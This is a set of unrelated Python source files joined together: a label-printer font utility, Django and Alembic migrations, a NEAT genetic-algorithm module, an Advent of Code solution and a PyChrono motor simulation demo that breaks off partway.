if input[idx].isspace():
sidx=idx
bits=self.getBits(input[idx])
if( total+bits > limit):
break
total=total+bits
idx += 1
if idx == sz:
return input[0:idx], ""
if input[idx].isspace() or sidx==0:
return input[0:idx], input[idx:]
else:
return input[0:sidx], input[sidx+1:]
#####################################################################
## utility routines
def apos(xval, yval):
ret= SPACE + str(xval) + SPACE + str(yval) + SPACE
return ret
def chartype(c):
i=0
ret=""
while i <=10:
ret=ret+str(c)
i+=1
ret=ret+" "+str(c)
return ret
####################################################
# grouping of various char in TEXT 0 format (stored in 'font_file')
# W is pegged at 28 bits
# W i j l I f t r W
# W c s k v y x z J W
# W b d g h n p q u W
# W a o 1 2 3 4 5 6 7 8 9 0 W
# W L T Z F X P S A E K V W
# W Y B w C D H N R G O Q M
def makeFontSampleLabel(infile):
pclcmds=""
try:
fptr=open(infile,"r")
except:
if DEBUG:
print "Can not open %s to read!!" % self.file
lines=fptr.readlines()
if DEBUG:
print "What is read.."
print aline
for aline in lines:
if aline[0] == "x" :
continue
pclcmds = pclcmds + "! 0 100 300 1" + EOL + \
"DRAW_BOX"+ apos(10,5) +"580 280 4" + EOL
idx=5
alist=aline.split(" ")
for j in alist:
j.strip()
pclcmds = pclcmds + \
"TEXT 0"+ apos(10,idx) + chartype(j[0]) + EOL
idx+=20
pclcmds=pclcmds + "END" + EOL
return pclcmds
#####################################################################
## local testing main
def main():
print "font file name?"
tmp = sys.stdin.readline()
try :
cptr=cxiFont(tmp.rstrip())
except :
return 1
if cptr:
print "for box?(y/n)"
tmp = sys.stdin.readline()
if (tmp[0]=='y') :
box=1
else:
box=0
print "give me a string?"
input = sys.stdin.readline()
if box:
print "==>chopping it for box label"
limit=560
else:
print "==>chopping it for slice label"
limit=280
while 1:
chopline,leftover=cptr.chopBits(input,limit)
if(chopline):
print chopline
input=leftover
else:
break
return 0
if __name__ == "__main__":
main()
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] |
python-flask-server/jatdb_server/models/__init__.py | NGenetzky/jatdb | 0 | 46279 | # coding: utf-8
# flake8: noqa
from __future__ import absolute_import
# import models into model package
from jatdb_server.models.content_file import ContentFile
from jatdb_server.models.trello_action import TrelloAction
from jatdb_server.models.trello_query import TrelloQuery
from jatdb_server.models.universal_resource import UniversalResource
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] |
example_project/news_with_archive/migrations/0001_initial.py | richardbarran/django-minipub | 7 | 29632 | # Generated by Django 2.0 on 2018-02-14 13:39
from django.db import migrations, models
import django.utils.timezone
import model_utils.fields
class Migration(migrations.Migration):
initial = True
dependencies = [
]
operations = [
migrations.CreateModel(
name='Article',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('created', model_utils.fields.AutoCreatedField(default=django.utils.timezone.now, editable=False, verbose_name='created')),
('modified', model_utils.fields.AutoLastModifiedField(default=django.utils.timezone.now, editable=False, verbose_name='modified')),
('status', model_utils.fields.StatusField(choices=[('draft', 'draft'), ('published', 'published'), ('archived', 'archived')], default='draft', max_length=100, no_check_for_status=True, verbose_name='status')),
('status_changed', model_utils.fields.MonitorField(default=django.utils.timezone.now, monitor='status', verbose_name='status changed')),
('start', models.DateField(blank=True, null=True, verbose_name='start date')),
('end', models.DateField(blank=True, null=True, verbose_name='end date')),
('title', models.CharField(max_length=50, unique=True)),
('slug', models.SlugField()),
('body', models.TextField()),
],
options={
'abstract': False,
},
),
]
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lib/emailsmtp/urls.py | hdknr/emailqueue | 0 | 121463 | from django.conf.urls import patterns, url
import views
urlpatterns = patterns(
'',
)
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gui/sum_v1/apps.py | time-crunched/nlp-toolbox | 0 | 145591 | from django.apps import AppConfig
class SumV1Config(AppConfig):
name = 'sum_v1'
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src/alembic/versions/89944f8b35b3_db_games_model_migrations.py | green2cerberuz/db_vgames | 0 | 38041 | """DB Games model migrations
Revision ID: 89944f8b35b3
Revises:
Create Date: 2020-11-14 03:49:03.255055
"""
import sqlalchemy as sa
from alembic import op
# revision identifiers, used by Alembic.
revision = "89944f8b35b3"
down_revision = None
branch_labels = None
depends_on = None
def upgrade():
# ### commands auto generated by Alembic - please adjust! ###
op.create_table(
"company",
sa.Column("id", sa.Integer(), nullable=False),
sa.Column("name", sa.String(length=250), nullable=False),
sa.Column("creation_year", sa.DateTime(), nullable=True),
sa.Column("description", sa.String(length=500), nullable=True),
sa.Column("logo", sa.String(length=500), nullable=True),
sa.Column("is_publisher", sa.Boolean(), nullable=True),
sa.PrimaryKeyConstraint("id"),
)
op.create_table(
"franchise",
sa.Column("id", sa.Integer(), nullable=False),
sa.Column("title", sa.String(length=250), nullable=False),
sa.Column("first_release", sa.DateTime(), nullable=True),
sa.Column("description", sa.String(length=250), nullable=True),
sa.PrimaryKeyConstraint("id"),
)
op.create_table(
"console",
sa.Column("id", sa.Integer(), nullable=False),
sa.Column("name", sa.String(length=250), nullable=False),
sa.Column("release_year", sa.DateTime(), nullable=False),
sa.Column("description", sa.String(length=500), nullable=True),
sa.Column("cover", sa.String(length=500), nullable=True),
sa.Column("motto", sa.String(length=100), nullable=False),
sa.Column("company_id", sa.Integer(), nullable=True),
sa.ForeignKeyConstraint(["company_id"], ["company.id"], ondelete="CASCADE"),
sa.PrimaryKeyConstraint("id"),
)
op.create_table(
"game",
sa.Column("id", sa.Integer(), nullable=False),
sa.Column("name", sa.String(length=250), nullable=False),
sa.Column("publication_year", sa.DateTime(), nullable=True),
sa.Column("score", sa.Integer(), nullable=True),
sa.Column("description", sa.String(length=500), nullable=True),
sa.Column("cover", sa.String(length=500), nullable=True),
sa.Column("franchise_id", sa.Integer(), nullable=True),
sa.ForeignKeyConstraint(["franchise_id"], ["franchise.id"], ondelete="CASCADE"),
sa.PrimaryKeyConstraint("id"),
)
op.create_table(
"franchiseassociation",
sa.Column("id", sa.Integer(), nullable=False),
sa.Column("franchise_id", sa.Integer(), nullable=True),
sa.Column("game_id", sa.Integer(), nullable=True),
sa.Column("console_id", sa.Integer(), nullable=True),
sa.ForeignKeyConstraint(["console_id"], ["console.id"], ondelete="CASCADE"),
sa.ForeignKeyConstraint(["franchise_id"], ["franchise.id"], ondelete="CASCADE"),
sa.ForeignKeyConstraint(["game_id"], ["game.id"], ondelete="CASCADE"),
sa.PrimaryKeyConstraint("id"),
)
op.create_table(
"game_console_table",
sa.Column("game_id", sa.Integer(), nullable=True),
sa.Column("console_id", sa.Integer(), nullable=True),
sa.ForeignKeyConstraint(
["console_id"],
["console.id"],
),
sa.ForeignKeyConstraint(
["game_id"],
["game.id"],
),
)
# ### end Alembic commands ###
def downgrade():
# ### commands auto generated by Alembic - please adjust! ###
op.drop_table("game_console_table")
op.drop_table("franchiseassociation")
op.drop_table("game")
op.drop_table("console")
op.drop_table("franchise")
op.drop_table("company")
# ### end Alembic commands ###
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] |
NEAT.py | Dongyeongkim/SWANN-Nengo | 5 | 169792 | <reponame>Dongyeongkim/SWANN-Nengo<filename>NEAT.py
import time
import numpy as np
import random as rd
def translate_gene_into_nengo_param(gene_pool):
gene_pool_list = []
for gene in gene_pool:
gene_node_list = []
for nuc in gene:
gene_node_list.append(nuc[0])
gene_node_list.append(nuc[1])
gene_node_list.sort()
gene_connection_list = gene.copy()
gene_pool_list.append([gene_node_list, gene_connection_list])
f = open('gene/init.txt', 'w')
f.write(str(gene_pool_list))
f.close()
return gene_pool_list
def generate_first_generation(gene_pool_size, input_neuron, output_neuron):
gene_pool_list = []
for _ in range(gene_pool_size):
gene_list = []
gene_list.append([rd.randint(0, input_neuron - 1), rd.randint(0, output_neuron - 1)])
connecting_num = rd.randint(1, input_neuron * output_neuron)
for _ in range(connecting_num):
rand = [rd.randint(0, input_neuron - 1), rd.randint(0, output_neuron - 1)]
gene_list.append(rand)
gene_tuple = set([tuple(gene_list) for gene_list in gene_list])
gene_list = []
for gene in gene_tuple:
gene_list.append([gene[0], gene[1]])
gene_pool_list.append(gene_list)
return gene_pool_list
def mutate(gene_pool, adding_node_probability, adding_connection_probability,
initial_active_connection_prob,inp,outp):
gene_pool_list = []
mutated_gene_pool_list = []
for gene in gene_pool:
gene_node_list = []
for nuc in gene:
gene_node_list.append(nuc[0])
gene_node_list.append(nuc[1])
gene_node_list = list(set(gene_node_list))
gene_node_list.sort()
gene_connection_list = gene.copy()
gene_pool_list.append([gene_node_list, gene_connection_list])
for gene_info in gene_pool_list:
node_mutated_gene = []
current_num = max(gene_info[0])
for i in gene_info[1]:
if rd.random() < adding_node_probability:
node_mutated_gene.append([i[0], current_num+1])
node_mutated_gene.append([current_num+1, i[1]])
else:
node_mutated_gene.append(i)
fully_mutated_gene = node_mutated_gene.copy()
mnuc_node_list = []
for mnuc in node_mutated_gene:
mnuc_node_list.append(mnuc[0])
mnuc_node_list.append(mnuc[1])
num_of_node = len(fully_mutated_gene)
mnuc_node_list = list(set(mnuc_node_list))
mnuc_node_list.sort()
if rd.random() < adding_connection_probability:
rand_connection = [rd.randint(0,mnuc_node_list[-1]),rd.randint(0,mnuc_node_list[-1])]
fully_mutated_gene.append(rand_connection)
fully_mutated_gene_tup = set([tuple(fully_mutated_gene) for fully_mutated_gene in fully_mutated_gene])
fmg_list = []
for gene in fully_mutated_gene_tup:
fmg_list.append([gene[0], gene[1]])
fully_mutated_gene = fmg_list
else:
pass
if rd.random() < initial_active_connection_prob:
if len(fully_mutated_gene) == 1:
fully_mutated_gene = generate_first_generation(1, 4, 2)[0]
else:
rand_num = rd.randint(0,len(fully_mutated_gene)-1)
if (fully_mutated_gene[rand_num][0]>=inp) and (fully_mutated_gene[rand_num][1]>=outp):
del fully_mutated_gene[rand_num]
else:
pass
else:
pass
#for b,n in enumerate(fully_mutated_gene):
#if not n:
#del fully_mutated_gene[b]
mutated_gene_pool_list.append(fully_mutated_gene)
return mutated_gene_pool_list
def crossover(gene_pool, score_list,tournament_size):
selected_genenum_list = []
sco_list = [score_list[i:i+tournament_size] for i in range(0, len(score_list), tournament_size)]
for i,prob in enumerate(sco_list):
selected_genenum_list.append(i*tournament_size+prob.index(max(prob)))
adapted_genes = []
for selected in selected_genenum_list:
adapted_genes.append(gene_pool[selected])
adapted_genes = adapted_genes * int(len(gene_pool)/tournament_size)
rd.shuffle(adapted_genes)
choiced_list = []
crossovered_gene_pool_list = []
for i in range(int(len(gene_pool) / 2)):
choiced_list.append(adapted_genes[2 * i:2 * i + 2])
for choiced in choiced_list:
gene1 = []
gene2 = []
if len(choiced[0]) > len(choiced[1]):
for i in range(len(choiced[1])):
t = rd.randint(0, 1)
if t == 0:
gene1.append(choiced[0][i])
gene2.append(choiced[1][i])
else:
gene1.append(choiced[1][i])
gene2.append(choiced[0][i])
for h in choiced[0][len(choiced[0]):len(choiced[1])]:
gene1.append(h)
elif len(choiced[0]) < len(choiced[1]):
for j in range(len(choiced[0])):
t = rd.randint(0, 1)
if t == 0:
gene1.append(choiced[0][j])
gene2.append(choiced[1][j])
else:
gene1.append(choiced[1][j])
gene2.append(choiced[0][j])
for r in choiced[1][len(choiced[0]):len(choiced[1])]:
gene2.append(r)
else:
for k in range(len(choiced[0])):
t = rd.randint(0,1)
if t == 0:
gene1.append(choiced[0][k])
gene2.append(choiced[1][k])
else:
gene1.append(choiced[1][k])
gene2.append(choiced[0][k])
crossovered_gene_pool_list.append(gene1)
crossovered_gene_pool_list.append(gene2)
return crossovered_gene_pool_list
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python/day10_challenge1.py | BKreisel/Advent-of-Code-2018 | 0 | 48195 | from collections import namedtuple
from re import compile
from sys import exit as sysexit
from typing import List
from util import read_input
DAY = 10
UPPER_LIMIT = 25000
Point = namedtuple("Point", ["x", "y"])
Star = namedtuple("Star", ["position", "velocity"])
line_re = compile(r"position=<(?P<x>[-\s\d]+),(?P<y>[-\s\d]+)> velocity=<(?P<vx>[-\s\d]+),(?P<vy>[-\s\d]+)>")
def to_star(line: str) -> Star:
def to_int(s: str) -> int:
return int(s.replace(" ", ""))
match = line_re.match(line.rstrip())
if not match:
raise ValueError(f"Unable to Parse Line: {line.rstrip()}")
sysexit(1)
groups = match.groupdict()
velocity = Point(to_int(groups["vx"]), to_int(groups["vy"]))
x, y = to_int(groups["x"]), to_int(groups["y"])
return Star(Point(x, y), velocity)
def position(star: Star, time: int = 0) -> Point:
x = star.position.x + (star.velocity.x * (time + 1))
y = star.position.y + (star.velocity.y * (time + 1))
return Point(x, y)
def calculate_area(points: List[Point]) -> int:
max_x = max([point.x for point in points])
min_x = min([point.x for point in points])
max_y = max([point.x for point in points])
min_y = min([point.x for point in points])
return (max_x - min_x) * (max_y - min_y)
def print_points(points: List[Point]):
max_x = max([point.x for point in points])
min_x = min([point.x for point in points])
max_y = max([point.y for point in points])
min_y = min([point.y for point in points])
for y in range(min_y, max_y + 1):
for x in range(min_x, max_x + 1):
if len([p for p in points if p.x == x and p.y == y]) > 0:
print("X", end="")
else:
print(" ", end="")
print("")
def main():
stars = [to_star(line) for line in read_input(DAY)]
min_t: int = None
min_area: int = None
for t in range(0, UPPER_LIMIT):
points = [position(star, t) for star in stars]
area = calculate_area(points)
if not min_area or area < min_area:
min_area = area
min_t = t
print_points([position(star, min_t) for star in stars])
if __name__ == "__main__":
main()
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src/demos/python/irrlicht/demo_IRR_motors.py | yurivict/chrono | 1 | 129377 | # =============================================================================
# PROJECT CHRONO - http:#projectchrono.org
#
# Copyright (c) 2014 projectchrono.org
# All rights reserved.
#
# Use of this source code is governed by a BSD-style license that can be found
# in the LICENSE file at the top level of the distribution and at
# http:#projectchrono.org/license-chrono.txt.
#
# =============================================================================
# Authors: <NAME>
# =============================================================================
#
# Demo code about using motors to impose rotation or traslation between parts
#
# =============================================================================
import pychrono.core as chrono
import pychrono.irrlicht as chronoirr
import math as m
from copy import deepcopy
# Shortcut function that creates two bodies (a slider and a guide) in a given position,
# just to simplify the creation of multiple linear motors in this demo.
# (skip this and go to main() for the tutorial)
""" Passing the ChBody as argument and assigning a derivate class won't work in Python, and the reference to the old body will go lost.
Therefore we don't pass the bodies, but instantiate them in the function and pass them"""
def CreateSliderGuide(material,
msystem,
mpos) :
mguide = chrono.ChBodyEasyBox(4, 0.3, 0.6, 1000, True, True, material)
mguide.SetPos(mpos)
mguide.SetBodyFixed(True)
msystem.Add(mguide)
mslider = chrono.ChBodyEasyBox(0.4, 0.2, 0.5, 1000, True, True, material)
mslider.SetPos(mpos + chrono.ChVectorD(0, 0.3, 0))
msystem.Add(mslider)
mcolor = chrono.ChColorAsset(0.6, 0.6, 0.0)
mslider.AddAsset(mcolor)
obstacle = chrono.ChBodyEasyBox(0.4, 0.4, 0.4, 8000, True, True, material)
obstacle.SetPos(mpos + chrono.ChVectorD(1.5, 0.4, 0))
msystem.Add(obstacle)
mcolorobstacle = chrono.ChColorAsset(0.2, 0.2, 0.2)
mslider.AddAsset(mcolorobstacle)
return mguide, mslider
# Shortcut function that creates two bodies (a stator and a rotor) in a given position,
# just to simplify the creation of multiple linear motors in this demo
# (skip this and go to main() for the tutorial)
def CreateStatorRotor(material,
msystem,
mpos) :
mstator = chrono.ChBodyEasyCylinder(0.5, 0.1, 1000, True, True, material)
mstator.SetPos(mpos)
mstator.SetRot(chrono.Q_from_AngAxis(chrono.CH_C_PI_2, chrono.VECT_X))
mstator.SetBodyFixed(True)
msystem.Add(mstator)
mrotor = chrono.ChBodyEasyBox(1, 0.1, 0.1, 1000, True, True, material)
mrotor.SetPos(mpos + chrono.ChVectorD(0.5, 0, -0.15))
msystem.Add(mrotor)
mcolor = chrono.ChColorAsset(0.6, 0.6, 0.0)
mrotor.AddAsset(mcolor)
return mstator, mrotor
print("Copyright (c) 2017 projectchrono.org")
# Create a ChronoENGINE physical system
mphysicalSystem = chrono.ChSystemNSC()
# Contact material shared among all objects
material = chrono.ChMaterialSurfaceNSC()
# Create a floor that is fixed (that is used also to represent the absolute reference)
floorBody = chrono.ChBodyEasyBox(20, 2, 20, 3000, True, True, material)
floorBody.SetPos(chrono.ChVectorD(0, -2, 0))
floorBody.SetBodyFixed(True)
mphysicalSystem.Add(floorBody)
mtexture = chrono.ChTexture()
mtexture.SetTextureFilename(chrono.GetChronoDataFile("textures/blue.png"))
floorBody.AddAsset(mtexture)
# In the following we will create different types of motors
# - rotational motors: examples A.1, A.2, etc.
# - linear motors, examples B.1, B.2 etc.
# EXAMPLE A.1
#
# - class: ChLinkMotorRotationSpeed
# - type: rotational motor
# - control: impose a time-dependent speed=v(t)
#
# This is a simple type of rotational actuator. It assumes that
# you know the exact angular speed of the rotor respect to the stator,
# as a function of time: angular speed = w(t).
# Use this to simulate fans, rotating cranks, etc.
# Note: this is a rheonomic motor that enforces the motion
# geometrically no compliance is allowed, this means that if the
# rotating body hits some hard contact, the solver might give unpredictable
# oscillatory or diverging results because of the contradiction.
positionA1 = chrono.ChVectorD(-3, 2, -3)
stator1, rotor1 = CreateStatorRotor(material, mphysicalSystem, positionA1)
# Create the motor
rotmotor1 = chrono.ChLinkMotorRotationSpeed()
# Connect the rotor and the stator and add the motor to the system:
rotmotor1.Initialize(rotor1, # body A (slave)
stator1, # body B (master)
chrono.ChFrameD(positionA1) # motor frame, in abs. coords
)
mphysicalSystem.Add(rotmotor1)
# Create a ChFunction to be used for the ChLinkMotorRotationSpeed
mwspeed = chrono.ChFunction_Const(chrono.CH_C_PI_2) # constant angular speed, in [rad/s], 1PI/s =180°/s
# Let the motor use this motion function:
rotmotor1.SetSpeedFunction(mwspeed)
# The ChLinkMotorRotationSpeed contains a hidden state that performs the time integration
# of the angular speed setpoint: such angle is then imposed to the
# constraat the positional level too, thus avoiding angle error
# accumulation (angle drift). Optionally, such positional constraint
# level can be disabled as follows:
#
# rotmotor1.SetAvoidAngleDrift(False)
# EXAMPLE A.2
#
# - class: ChLinkMotorRotationAngle
# - type: rotational motor
# - control: impose a time-dependent angle=a(t)
#
# This is a simple type of rotational actuator. It assumes that
# you know the exact angular angle of the rotor respect to the stator,
# as a function of time: angle = a(t).
# Use this to simulate servo drives in robotic systems and automation,
# where you can assume that the motor rotates with an infinitely stiff
# and reactive control, that exactly follows your prescribed motion profiles.
# Note: this is a rheonomic motor that enforces the motion
# geometrically no compliance is allowed, this means that if the
# rotating body hits some hard contact, the solver might give unpredictable
# oscillatory or diverging results because of the contradiction.
positionA2 = chrono.ChVectorD(-3, 2, -2)
stator2, rotor2 = CreateStatorRotor(material, mphysicalSystem, positionA2)
# Create the motor
rotmotor2 = chrono.ChLinkMotorRotationAngle()
# Connect the rotor and the stator and add the motor to the system:
rotmotor2.Initialize(rotor2, # body A (slave)
stator2, # body B (master)
chrono.ChFrameD(positionA2) # motor frame, in abs. coords
)
mphysicalSystem.Add(rotmotor2)
# Create a ChFunction to be used for the ChLinkMotorRotationAngle
msineangle = chrono.ChFunction_Sine(0, # phase [rad]
0.05, # frequency [Hz]
chrono.CH_C_PI) # amplitude [rad]
# Let the motor use this motion function as a motion profile:
rotmotor2.SetAngleFunction(msineangle)
# EXAMPLE A.3
#
# - class: ChLinkMotorRotationTorque
# - type: rotational motor
# - control: impose a (time-dependent) torque=T(t)
#
# For this motor, you must specify a time-dependent torque as torque = T(t).
# (If you want to use this motor to follow some desired motion profiles, you
# must implement a PID controller that continuously adjusts the value of the
# torque during the simulation).
positionA3 = chrono.ChVectorD(-3, 2, -1)
stator3, rotor3 = CreateStatorRotor(material, mphysicalSystem, positionA3)
# Create the motor
rotmotor3 = chrono.ChLinkMotorRotationTorque()
# Connect the rotor and the stator and add the motor to the system:
rotmotor3.Initialize(rotor3, # body A (slave)
stator3, # body B (master)
chrono.ChFrameD(positionA3)) # motor frame, in abs. coords
mphysicalSystem.Add(rotmotor3)
# The torque(time) function:
mtorquetime = chrono.ChFunction_Sine(0, # phase [rad]
2, # frequency [Hz]
160) # amplitude [Nm]
# Let the motor use this motion function as a motion profile:
rotmotor3.SetTorqueFunction(mtorquetime)
# EXAMPLE A.4
#
# As before, use a ChLinkMotorRotationTorque, but this time compute
# torque by a custom function. In this example we implement a
# basic torque(speed) model of a three-phase induction electric motor..
positionA4 = chrono.ChVectorD(-3, 2, 0)
stator4, rotor4 = CreateStatorRotor( material, mphysicalSystem, positionA4)
# Create the motor
rotmotor4 = chrono.ChLinkMotorRotationTorque()
# Connect the rotor and the stator and add the motor to the system:
rotmotor4.Initialize(rotor4, # body A (slave)
stator4, # body B (master)
chrono.ChFrameD(positionA4)) # motor frame, in abs. coords
mphysicalSystem.Add(rotmotor4)
# Implement our custom torque function.
# We could use pre-defined ChFunction classes like sine, constant, ramp, etc.,
# but in this example we show how to implement a custom function: a
# torque(speed) function that represents a three-phase electric induction motor.
# Just inherit from ChFunction and implement Get_y() so that it returns different
# values (regrdless of time x) depending only on the slip speed of the motor:
class MyTorqueCurve(chrono.ChFunction) :
def __init__(self, e2, r2, x2, n_s, mot) :
super().__init__()
self.E2 = e2
self.R2 = r2
self.X2 = x2
self.ns = n_s
self.mymotor = mot
def Clone(self) :
return deepcopy(self)
def Get_y(self, x) :
# The three-phase torque(speed) model
w = self.mymotor.GetMotorRot_dt()
s = (self.ns - w) / self.ns # slip
T = (3.0 / 2 * chrono.CH_C_PI * self.ns) * (s * self.E2 * self.E2 * self.R2) / (self.R2 * self.R2 + pow(s * self.X2, 2)) # electric torque curve
T -= w * 5 # simulate also a viscous brake
return T
# Create the function object from our custom class
mtorquespeed = MyTorqueCurve(120, 80, 1, 6, rotmotor4)
# Let the motor use this motion function as a motion profile:
rotmotor4.SetTorqueFunction(mtorquespeed)
# EXAMPLE A.5
#
#
# - class: ChLinkMotorRotationDriveline
# - type: rotational motor
# - control: delegated to an embedded user-defined driveline/powertrain
#
# This is the most powerful motor type. It allows the creation of
# generic 1D powertrain inside this 3D motor.
# Powertrains/drivelines are defined by connecting a variable number of
# 1D objects such as ChShaft, ChClutch, ChShaftsMotor, etc. In this way, for
# example, you can represent a drive+flywheel+reducer, hence taking into account
# of the inertia of the flywheel without the complication of adding a full 3D shape that
# represents the flywheel, and withoput needing 3D constrafor gears, bearings, etc.
# The 1D driveline is "interfaced" to the two connected threedimensional
# parts using two "inner" 1D shafts, each rotating as the connected 3D part
# it is up to the user to build the driveline that connects those two shafts.
# Most often the driveline is like a graph starting at inner shaft 2 (consider
# it to be the truss for holding the motor drive, also the support for reducers
# if any) and ending at inner shaft 1 (consider it to be the output, i.e. the
# slow-rotation spindle).
positionA5 = chrono.ChVectorD(-3, 2, 1)
stator5, rotor5 = CreateStatorRotor(material, mphysicalSystem, positionA5)
# Create the motor
rotmotor5 = chrono.ChLinkMotorRotationDriveline()
# Connect the rotor and the stator and add the motor to the system:
rotmotor5.Initialize(rotor5, # body A (slave)
stator5, # body B (master)
chrono.ChFrameD(positionA5) ) # motor frame, in abs. coords
mphysicalSystem.Add(rotmotor5)
# You may want to change the inertia of 'inner' 1d shafts, (each has default 1kg/m^2)
# Note: they adds up to 3D inertia when 3D parts rotate about the link shaft.
# Note: do not use too small values compared to 3D inertias: it might negatively affect
# the precision of some solvers if so, rather diminish the 3D inertia of stator/rotor parts and add to these.
rotmotor5.GetInnerShaft1().SetInertia(0.2) # [kg/m^2]
rotmotor5.GetInnerShaft2().SetInertia(0.2) # [kg/m^2]
# Now create the driveline. We want to model a drive+reducer sytem.
# This driveline must connect "inner shafts" of s1 and s2, where:
# s1, is the 3D "rotor5" part A (ex. a robot arm) and
# s2, is the 3D "stator5" part B (ex. a robot base).
# In the following scheme, the motor is [ DRIVE ], the reducer is [ REDUCER ],
# the shafts ( shown with symbol || to mean inertia) are:
# S1: the 1D inner shaft for s1 robot arm (already present in ChLinkMotorRotationDriveline)
# S2: the 1D inner shaft for s2 robot base (already present in ChLinkMotorRotationDriveline)
# A : the shaft of the electric drive
#
# S2 A S1
# 3d<--||---[ DRIVE ]---||-----[ REDUCER ]----||-.3d
# s2 || [ ] s1
# ||----------------------[ ]
#
# Create 'A', a 1D shaft. This is the shaft of the electric drive, representing its inertia.
my_shaftA = chrono.ChShaft()
my_shaftA.SetInertia(0.03)
mphysicalSystem.Add(my_shaftA)
# Create 'DRIVE', the hi-speed motor model - as a simple example use a 'imposed speed' motor: this
# is the equivalent of the ChLinkMotorRotationSpeed, but for 1D elements:
my_drive = chrono.ChShaftsMotorSpeed()
my_drive.Initialize(my_shaftA, # A , the rotor of the drive
rotmotor5.GetInnerShaft2() ) # S2, the stator of the drive
mphysicalSystem.Add(my_drive)
# Create a speed(time) function, and use it in my_drive:
my_driveangle = chrono.ChFunction_Const(25 * chrono.CH_C_2PI) # 25 [rps] = 1500 [rpm]
my_drive.SetSpeedFunction(my_driveangle)
# Create the REDUCER. We should not use the simple ChShaftsGear because
# it does not transmit torque to the support. So use ChShaftsPlanetary
# and use it in ordinary mode, keeping the carrier as truss: so it
# will connect three parts: the carrier(here the truss), the in shaft, the out shaft.
my_reducer = chrono.ChShaftsPlanetary()
my_reducer.Initialize(rotmotor5.GetInnerShaft2(), # S2, the carrier (truss)
my_shaftA, # A , the input shaft
rotmotor5.GetInnerShaft1() ) # S1, the output shaft
my_reducer.SetTransmissionRatioOrdinary(1.0 / 100.0) # ratio between wR/wA
mphysicalSystem.Add(my_reducer)
# Btw: later, if you want, you can access / plot speeds and
# torques for whatever part of the driveline by putting lines like the following
# in the while() {...} simulation loop:
#
# GetLog() << " 1D shaft 'A' angular speed: " << my_shaftA.GetPos_dt() << " [rad/s] \n"
# GetLog() << " 1D Drive angular speed: rot-stat " << my_drive.GetMotorRot_dt() << " [rad/s] \n"
# GetLog() << " 1D Drive torque: " << my_drive.GetMotorTorque() << " [Ns] \n"
# GetLog() << " 3D motor angular speed: rot-stat " << rotmotor5.GetMotorRot_dt() << " [rad/s] \n"
# GetLog() << " 3D motor torque: " << rotmotor5.GetMotorTorque() << " [Ns] \n"
# etc.
# EXAMPLE B.1
#
# - class: ChLinkMotorLinearPosition
# - type: linear motor
# - control: impose a time-dependent position=f(t)
#
# This is the simpliest type of linear actuator. It assumes that
# you know the exact position of the slider respect to the guide,
# as a function of time: position = f(t)
# Therefore, this is a rheonomic motor that enforces the motion
# geometrically no compliance is allowed, this means that if the
# sliding body hits some hard contact, the solver might give unpredictable
# oscillatory or diverging results because of the contradiction.
positionB1 = chrono.ChVectorD(0, 0, -3)
guide1, slider1 = CreateSliderGuide(material, mphysicalSystem, positionB1)
# Create the linear motor
motor1 = chrono.ChLinkMotorLinearPosition()
# Connect the guide and the slider and add the motor to the system:
motor1.Initialize(slider1, # body A (slave)
guide1, # body B (master)
chrono.ChFrameD(positionB1) # motor frame, in abs. coords
)
mphysicalSystem.Add(motor1)
# Create a ChFunction to be used for the ChLinkMotorLinearPosition
msine = chrono.ChFunction_Sine(0, # phase
0.5, # frequency
1.6) # amplitude
# Let the motor use this motion function:
motor1.SetMotionFunction(msine)
# EXAMPLE B.2
#
# - class: ChLinkMotorLinearSpeed
# - type: linear motor
# - control: impose a time-dependent speed=v(t)
#
# This is a simple type of linear actuator. It assumes that
# you know the exact speed of the slider respect to the guide,
# as a function of time: speed = v(t)
# Therefore, this is a rheonomic motor that enforces the motion
# geometrically no compliance is allowed, this means that if the
# sliding body hits some hard contact, the solver might give unpredictable
# oscillatory or diverging results because of the contradiction.
# It contains a hidden state that performs the time integration
# of the required speed, such position is then imposed too to the
# constraat the positional level, thus avoiding position error
# accumulation (position drift). Optionally, such constraon
# position level can be disabled if you are not interested in pos.drift.
positionB2 = chrono.ChVectorD(0, 0, -2)
guide2, slider2 = CreateSliderGuide(material, mphysicalSystem, positionB2)
# Create the linear motor
motor2 = chrono.ChLinkMotorLinearSpeed()
# Connect the guide and the slider and add the motor to the system:
motor2.Initialize(slider2, # body A (slave)
guide2, # body B (master)
chrono.ChFrameD(positionB2) ) # motor frame, in abs. coords
mphysicalSystem.Add(motor2)
# Create a ChFunction to be used for the ChLinkMotorLinearSpeed
msp = chrono.ChFunction_Sine(chrono.CH_C_PI_2, # phase
0.5, # frequency
1.6 * 0.5 * chrono.CH_C_2PI) # amplitude
# Let the motor use this motion function:
motor2.SetSpeedFunction(msp)
# The ChLinkMotorLinearSpeed contains a hidden state that performs the time integration
# of the speed setpoint: such position is then imposed to the
# constraat the positional level too, thus avoiding position error
# accumulation (position drift). Optionally, such position constraint
# level can be disabled as follows:
#
# motor2.SetAvoidPositionDrift(False)
# EXAMPLE B.3
#
# - class: ChLinkMotorLinearForce
# - type: linear motor
# - control: impose a time-dependent force=F(t)
#
# This actuator is moved via force as a function of time, F=F(t).
# The basic "open loop" option is to provide a F(t) at the beginning (ex using
# a feedforward model), but then there is no guarantee about the
# precise position of the slider, when the simulation runs.
# This means that, unless you update the force F at each time
# step using some type of feedback controller, this actuator
# cannot be used to follow some position setpoint. Implementing
# your controller might complicate things, but it could be closer to
# the behavior of a real actuator, that have some delay, bandwidth
# latency and compliance - for example, differently from
# other types such as ChLinkMotorLinearPosition and
# ChLinkMotorLinearSpeed, this force motor does not enforce any
# constraon the direction of motion, so if it the slider hits
# some hard contact, it just stops and keeps pushing, and no troubles
# with the solver happen.
positionB3 = chrono.ChVectorD(0, 0, -1)
guide3, slider3 = CreateSliderGuide(material, mphysicalSystem, positionB3)
# just for fun: modify the initial speed of slider to match other examples
slider3.SetPos_dt(chrono.ChVectorD(1.6 * 0.5 * chrono.CH_C_2PI))
# Create the linear motor
motor3 = chrono.ChLinkMotorLinearForce()
# Connect the guide and the slider and add the motor to the system:
motor3.Initialize(slider3, # body A (slave)
guide3, # body B (master)
chrono.ChFrameD(positionB3) ) # motor frame, in abs. coords
mphysicalSystem.Add(motor3)
# Create a ChFunction to be used for F(t) in ChLinkMotorLinearForce.
mF = chrono.ChFunction_Const(200)
# Let the motor use this motion function:
motor3.SetForceFunction(mF)
# Alternative: just for fun, use a sine harmonic whose max force is F=M*A, where
# M is the mass of the slider, A is the max acceleration of the previous examples,
# so finally the motion should be quite the same - but without feedback, if hits a disturb, it goes crazy:
